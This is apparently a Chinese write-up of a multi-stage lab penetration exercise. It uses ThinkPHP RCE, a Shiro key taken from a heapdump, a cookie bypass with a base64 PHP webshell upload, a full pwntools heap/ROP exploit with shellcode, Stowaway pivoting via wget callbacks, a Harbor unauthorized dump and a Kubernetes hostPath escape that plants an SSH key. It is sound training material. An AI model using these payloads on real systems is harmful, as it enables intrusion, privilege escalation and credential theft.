考点:
- thinkphpRCE
- heapdump泄露+shiroAttack
- 缓冲区溢出
- 文件上传
- LD_proload
- Harbor未授权
- MDUT一把嗦
- k8s Api Server未授权
172.28.23.17(8.130.119.25)(flag1)
扫一下,会发现8080端口那里有thinkphp的nday,只不过有disable_function,没法直接执行,可以直接写哥斯拉的马,哥斯拉可以自动绕disable_function
进内网后扫内网
172.28.23.33:8080 open
172.28.23.17:8080 open
172.28.23.26:80 open
172.28.23.26:22 open
172.28.23.17:80 open
172.28.23.17:22 open
172.28.23.33:22 open
172.28.23.26:21 open
[*] WebTitle: http://172.28.23.17 code:200 len:10887 title:None
[*] WebTitle: http://172.28.23.17:8080 code:200 len:1027 title:Login Form
[*] WebTitle: http://172.28.23.26 code:200 len:13693 title:新翔OA管理系统-OA管理平台联系电话:13849422648微信同号,QQ958756413
[+] ftp://172.28.23.26:21:anonymous
[->]OASystem.zip
[*] WebTitle: http://172.28.23.33:8080 code:302 len:0 title:None 跳转url: http://172.28.23.33:8080/login;jsessionid=743CDDF962FDC5A415B7293537AC081D
[*] WebTitle: http://172.28.23.33:8080/login;jsessionid=743CDDF962FDC5A415B7293537AC081D code:200 len:3860 title:智联科技 ERP 后台登陆
[+] http://172.28.23.17:8080 poc-yaml-thinkphp5023-method-rce poc1
[+] http://172.28.23.33:8080 poc-yaml-spring-actuator-heapdump-file
[+] http://172.28.23.33:8080 poc-yaml-springboot-env-unauth spring2
也就是内网里有两个新资产,172.28.23.33和172.28.23.26
172.28.23.33(172.22.10.16)(flag2)
扫资产发现有i春秋经典的heapdump泄露,用JDumpSpider扫一下可以得到shiro-key
172.28.23.33:8080/actuator/heapdump
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
CookieRememberMeManager(ShiroKey)
-------------
algMode = GCM, key = AZYyIgMYhG6/CzIJlvpR2g==, algName = AES
===========================================
OriginTrackedMapPropertySource
注入一下内存马,上去后没找到flag,只有一个pwn题,本机起了个pwn的服务,可能用于提权
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.28.23.33 netmask 255.255.0.0 broadcast 172.28.255.255
inet6 fe80::216:3eff:fe03:dedc prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:03:de:dc txqueuelen 1000 (Ethernet)
RX packets 46589 bytes 65218806 (65.2 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 9861 bytes 2483408 (2.4 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.22.10.16 netmask 255.255.255.0 broadcast 172.22.10.255
inet6 fe80::216:3eff:fe04:3f50 prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:04:3f:50 txqueuelen 1000 (Ethernet)
RX packets 159 bytes 6678 (6.6 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 172 bytes 7684 (7.6 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 568 bytes 53568 (53.5 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 568 bytes 53568 (53.5 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
不会pwn,用大头哥的脚本,他的脚本我直接跑总是报错,自己改了改数据类型跑通了
from pwn import *
elf = ELF('./HashNote')
context(arch=elf.arch, os='linux', log_level='debug')
# p = process('./HashNote')
p = remote('172.28.23.33', 59696)
def send_command(command):
p.sendlineafter(b': ', str(command))
def add_entry(key, value):
send_command(1)
p.sendlineafter(b'Key: ', key)
p.sendlineafter(b'Data: ', value)
def get_entry(key):
send_command(2)
p.sendlineafter(b'Key: ', key)
def update_entry(key, value):
send_command(3)
p.sendlineafter(b'Key: ', key)
p.sendlineafter(b'Data: ', value)
def set_username(value):
send_command(4)
p.sendafter(b'New username: ', value)
# Authenticate
p.sendlineafter(b'Username: ', b'123')
p.sendlineafter(b'Password: ', b'freep@ssw0rd:3')
# Add entries to setup the environment
add_entry(b'aabP', b'aaaaaaaa')
add_entry(b'aace', b'C' * 0xc0)
# Shellcode to spawn a shell
sc = [
b'\x6a\x3b', # push 0x3b
b'\x58', # pop rax
b'\x99', # cdq
b'\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68', # movabs rbx, 0x68732f6e69622f2f
b'\x53', # push rbx
b'\x48\x89\xe7', # mov rdi, rsp
b'\x52', # push rdx
b'\x57', # push rdi
b'\x48\x89\xe6', # mov rsi, rsp
b'\x0f\x05' # syscall
]
shellcode = b''.join(sc)
username_addr = 0x5dc980
fake_obj_addr = username_addr + 0x10
def arbitrary_read(addr):
payload = p64(fake_obj_addr)
payload += p64(0xdeadbeef)
fake_obj = p64(fake_obj_addr + 0x10) + p64(4)
fake_obj += b'aahO'.ljust(0x10, b'\x00')
fake_obj += p64(addr) + p64(8) + b'aaaaaaaa'
payload += fake_obj
payload += shellcode
payload = payload.ljust(128, b'\x00')
set_username(payload)
get_entry(b'aahO')
def arbitrary_write(addr, data):
payload = p64(fake_obj_addr)
payload += p64(0xdeadbeef)
fake_obj = p64(fake_obj_addr + 0x10) + p64(4)
fake_obj += b'aahO'.ljust(0x10, b'\x00')
fake_obj += p64(addr) + p64(len(data)) + b'aaaaaaaa'
payload += fake_obj
payload += shellcode
payload = payload.ljust(128, b'\x00')
set_username(payload)
update_entry(b'aahO', data)
# Leak the stack address
environ = 0x5e4c38
arbitrary_read(environ)
stack_addr = u64((p.recvuntil(b'\x7f', drop=False)[-6:].ljust(8, b'\0')))
success('stack_addr', stack_addr)
# ROP gadgets
rdi = 0x0000000000405e7c
rsi = 0x000000000040974f
rax = 0x00000000004206ba
rdx_rbx = 0x000000000053514b
shr_eax_2 = 0x0000000000523f2e
syscall_ret = 0x00000000004d9776
# ROP payload to map memory and jump to shellcode
payload = p64(rdi) + p64(username_addr & ~0xfff) + p64(rsi) + p64(0x1000) + p64(rdx_rbx) + p64(7) + p64(0) + p64(rax) + p64(0xa << 2) + p64(shr_eax_2) + p64(syscall_ret) + p64(username_addr + 0x48)
arbitrary_write(stack_addr - 0x210, payload)
p.sendline(b'uname -ar')
p.interactive()
172.22.10.28:22 open
172.22.10.16:8080 open
172.22.10.28:3306 open
172.22.10.28:80 open
172.22.10.16:22 open
[*] WebTitle http://172.22.10.16:8080 code:302 len:0 title:None 跳转url: http://172.22.10.16:8080/login;jsessionid=CF37645FAC7BD2F765DFF7D2C08DBF7E
[*] WebTitle http://172.22.10.16:8080/login;jsessionid=CF37645FAC7BD2F765DFF7D2C08DBF7E code:200 len:3860 title:智联科技 ERP 后台登陆
[*] WebTitle http://172.22.10.28 code:200 len:1975 title:DooTask
[+] PocScan http://172.22.10.16:8080 poc-yaml-spring-actuator-heapdump-file
[+] PocScan http://172.22.10.16:8080 poc-yaml-springboot-env-unauth spring2
提权后能拿到本机的flag
cat /root/flag_RaYz1/f*
172.28.23.26(172.22.14.6)(flag3)
26有一个匿名登录,能拿到源码,恐怕是要审0day,抽象
源码鉴权有问题,只要参数值不为空且存在即可绕过,所以可以直接Cookie: id=1; loginname=1; jueseid=1; danweiid=1; quanxian=1进后台
GET /main.php HTTP/1.1
Host: 172.28.23.26
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: id=1; loginname=1; jueseid=1; danweiid=1; quanxian=1;
Upgrade-Insecure-Requests: 1
Priority: u=1
这个洞也就图一乐,关键在于那个uploadbase64.php,他这里的鉴权逻辑也有问题,只要求data:image/文件格式;base64加编码后的数据,所以我们传一个data:image/php;base64,就能直接上传php文件了,直接狠狠拿下
POST /uploadbase64.php HTTP/1.1
Host: 172.28.23.26
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Cookie: id=1; loginname=1; jueseid=1; danweiid=1; quanxian=1;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Length: 69
Connection: close
Upgrade-Insecure-Requests::1
Content-Type:application/x-www-form-urlencoded
imgbase64=data:image/php;base64, PD9waHAgQGV2YWwoJF9HRVRbMV0pOyA/Pg==
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,file_get_contents,readfile,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,highlight_file,show_source,iconv,dl
可以看到没ban putenv,能用LD_proload绕disable_function(冰蝎和哥斯拉我都没连上去),用蚁剑插件绕
这里需要用get的一句话木马,post的会很玄学的没法执行
这里改成1.php
然后访问.antproxy.php即可正常执行命令,可以看到base32有suid权限,可用于提权
http://172.28.23.26/upload/.antproxy.php?1=system(%22find%20/%20-perm%20-u=s%20-type%20f%202%3E/dev/null%22);
http://172.28.23.26/upload/.antproxy.php?1=system("base32 /flag02.txt");
可以看到他也是双网卡,通向172.22.14.6
eth0 Link encap:Ethernet HWaddr 00:16:3e:01:ed:cb
inet addr:172.28.23.26 Bcast:172.28.255.255 Mask:255.255.0.0
inet6 addr: fe80::216:3eff:fe01:edcb/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:117750 errors:0 dropped:0 overruns:0 frame:0
TX packets:18982 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:166663988 (166.6 MB) TX bytes:3664043 (3.6 MB)
eth1 Link encap:Ethernet HWaddr 00:16:3e:03:4b:b5
inet addr:172.22.14.6 Bcast:172.22.255.255 Mask:255.255.0.0
inet6 addr: fe80::216:3eff:fe03:4bb5/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:773 errors:0 dropped:0 overruns:0 frame:0
TX packets:778 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:33562 (33.5 KB) TX bytes:33608 (33.6 KB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:383 errors:0 dropped:0 overruns:0 frame:0
TX packets:383 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1
RX bytes:141365 (141.3 KB) TX bytes:141365 (141.3 KB)
然后建立内网多重代理,因为我们现在只能在网页端用get传命令,执行起来非常麻烦,所以我们首先把Stowaway的linux_x64_admin放在最开始的172.28.23.17(也就是题目直接给的那个ip)的网站目录下,然后wget过来
http://172.28.23.26/upload/.antproxy.php?1=system(%22wget%20http://172.28.23.17:8080/linux_x64_agent%22);
接着用我过去文章里提到过的多重代理建立方式,在节点1启动监听
(admin) >> use 0
(node 0) >> listen
[*] BE AWARE! If you choose IPTables Reuse or SOReuse,you MUST CONFIRM that the node you're controlling was started in the corresponding way!
[*] When you choose IPTables Reuse or SOReuse, the node will use the initial config(when node started) to reuse port!
[*] Please choose the mode(1.Normal passive/2.IPTables Reuse/3.SOReuse): 1
[*] Please input the [ip:]<port> : 1234
[*] Waiting for response......
[*] Node is listening on 1234
(node 0) >>
[*] New node come! Node id is 1
接着在网页端连上节点一
http://172.28.23.26/upload/.antproxy.php?1=system("./linux_x64_agent -c 172.28.23.17:1234 -s 123 --reconnect 8");
然后其实Stowaway其实是有shell功能的,只是我之前一直没用过,use 2然后shell即可,当然这也没啥用主要还是起个深层内网的代理
eth0 Link encap:Ethernet HWaddr 00:16:3e:01:ed:cb
inet addr:172.28.23.26 Bcast:172.28.255.255 Mask:255.255.0.0
inet6 addr: fe80::216:3eff:fe01:edcb/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:125788 errors:0 dropped:0 overruns:0 frame:0
TX packets:22857 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:171870762 (171.8 MB) TX bytes:8107676 (8.1 MB)
eth1 Link encap:Ethernet HWaddr 00:16:3e:03:4b:b5
inet addr:172.22.14.6 Bcast:172.22.255.255 Mask:255.255.0.0
inet6 addr: fe80::216:3eff:fe03:4bb5/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1166 errors:0 dropped:0 overruns:0 frame:0
TX packets:1171 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:50068 (50.0 KB) TX bytes:50114 (50.1 KB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:798 errors:0 dropped:0 overruns:0 frame:0
TX packets:798 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1
RX bytes:184900 (184.9 KB) TX bytes:184900 (184.9 KB)
扫一下172.22.14.6这张网卡
(icmp) Target 172.22.14.6 is alive
(icmp) Target 172.22.14.37 is alive
(icmp) Target 172.22.14.46 is alive
[*] Icmp alive hosts len is: 3
172.22.14.6:80 open
172.22.14.46:80 open
172.22.14.46:22 open
172.22.14.37:22 open
172.22.14.6:22 open
172.22.14.6:21 open
172.22.14.37:2379 open
172.22.14.37:10250 open
[*] alive ports len is: 8
start vulscan
[*] WebTitle http://172.22.14.46 code:200 len:785 title:Harbor
[*] WebTitle http://172.22.14.6 code:200 len:13693 title:新翔OA管理系统-OA管理平台联系电话:13849422648微信同号,QQ958756413
[+] InfoScan http://172.22.14.46 [Harbor]
[*] WebTitle https://172.22.14.37:10250 code:404 len:19 title:None
[+] ftp 172.22.14.6:21:anonymous
[->]OASystem.zip
[+] PocScan http://172.22.14.46/swagger.json poc-yaml-swagger-ui-unauth [{path swagger.json}]
已完成 5/8 [-] ssh 172.22.14.6:22 root 12345678 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 5/8 [-] ssh 172.22.14.37:22 root 1qaz!QAZ ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
172.22.14.46(flag4)
https://github.com/404tk/CVE-2022-46463
└─$ proxychains python3 harbor.py http://172.22.14.46/
[+] project/projectadmin
[+] project/portal
[+] library/nginx
[+] library/redis
[+] harbor/secret
下载secret镜像,慢慢翻就找到了
proxychains python3 harbor.py http://172.22.14.46/ --dump harbor/secret --v2
172.22.10.28(flag5)
下载projectadmin镜像
proxychains python3 harbor.py http://172.22.14.46/ --dump project/projectadmin --v2
spring.datasource.url=jdbc:mysql://172.22.10.28:3306/projectadmin?characterEncoding=utf-8&useUnicode=true&serverTimezone=UTC
spring.datasource.username=root
spring.datasource.password=My3q1i4oZkJm3
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
用内置的udf提一下权就行了(MDUT有点玄学,他那个socks功能我用了连不上,换成proxifier的全局代理才连上去)
172.22.14.37(flag6)
这个flag6是最难绷的
首先6443存在k8s Api Server未授权,照着打即可浅析K8S各种未授权攻击方法
这里要注意一个很傻逼的事,就是kubectl 是go binary,而go binary 自己实现了底层,所以proxychains对他不起作用。。。这里我的做法是下了个windows的可执行文件,然后proxier全局代理。具体的打法就是写一个evil-deployment.yaml,然后我们把宿主机/目录挂载到容器内部/mnt目录,接着写公钥就成功逃逸
#evil-deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: nginx-deployment
labels:
app: nginx
spec:
replicas: 1
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
containers:
- name: nginx
image: nginx:1.8
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
部署pod
kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ apply -f evil-deployment.yaml
列出pod
kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get pods
进容器执行命令
kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ exec -it nginx-deployment-864f8bfd6f-b9xhg /bin/bash
然后写公钥(公钥是ssh-keygen -t rsa -b 4096产生的id_rsa.pub)
echo "ssh-rsa ...... fushuling@fushuling" > /mnt/root/.ssh/authorized_keys
接着用私钥连上去,获得root权限,去mysql找到flag
proxychains ssh -i /home/fushuling/.ssh/id_rsa root@172.22.14.37
mysql> use flaghaha
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed, 3 warnings
mysql> show tables
-> ;
+--------------------+
| Tables_in_flaghaha |
+--------------------+
| flag04 |
+--------------------+
1 row in set (0.00 sec)
mysql> select * from flag04;
+------+--------------------------------------------------------------+
| id | f1agggggishere |
+------+--------------------------------------------------------------+
| 1 | ZmxhZ3tkYTY5YzQ1OS03ZmU1LTQ1MzUtYjhkMS0xNWZmZjQ5NmEyOWZ9Cg== |
+------+--------------------------------------------------------------+
1 row in set (0.00 sec)
找半决赛全国第一要了个wp,他们这个题打了个入口就没打了。。。赛方疑似有点高看大伙了
tql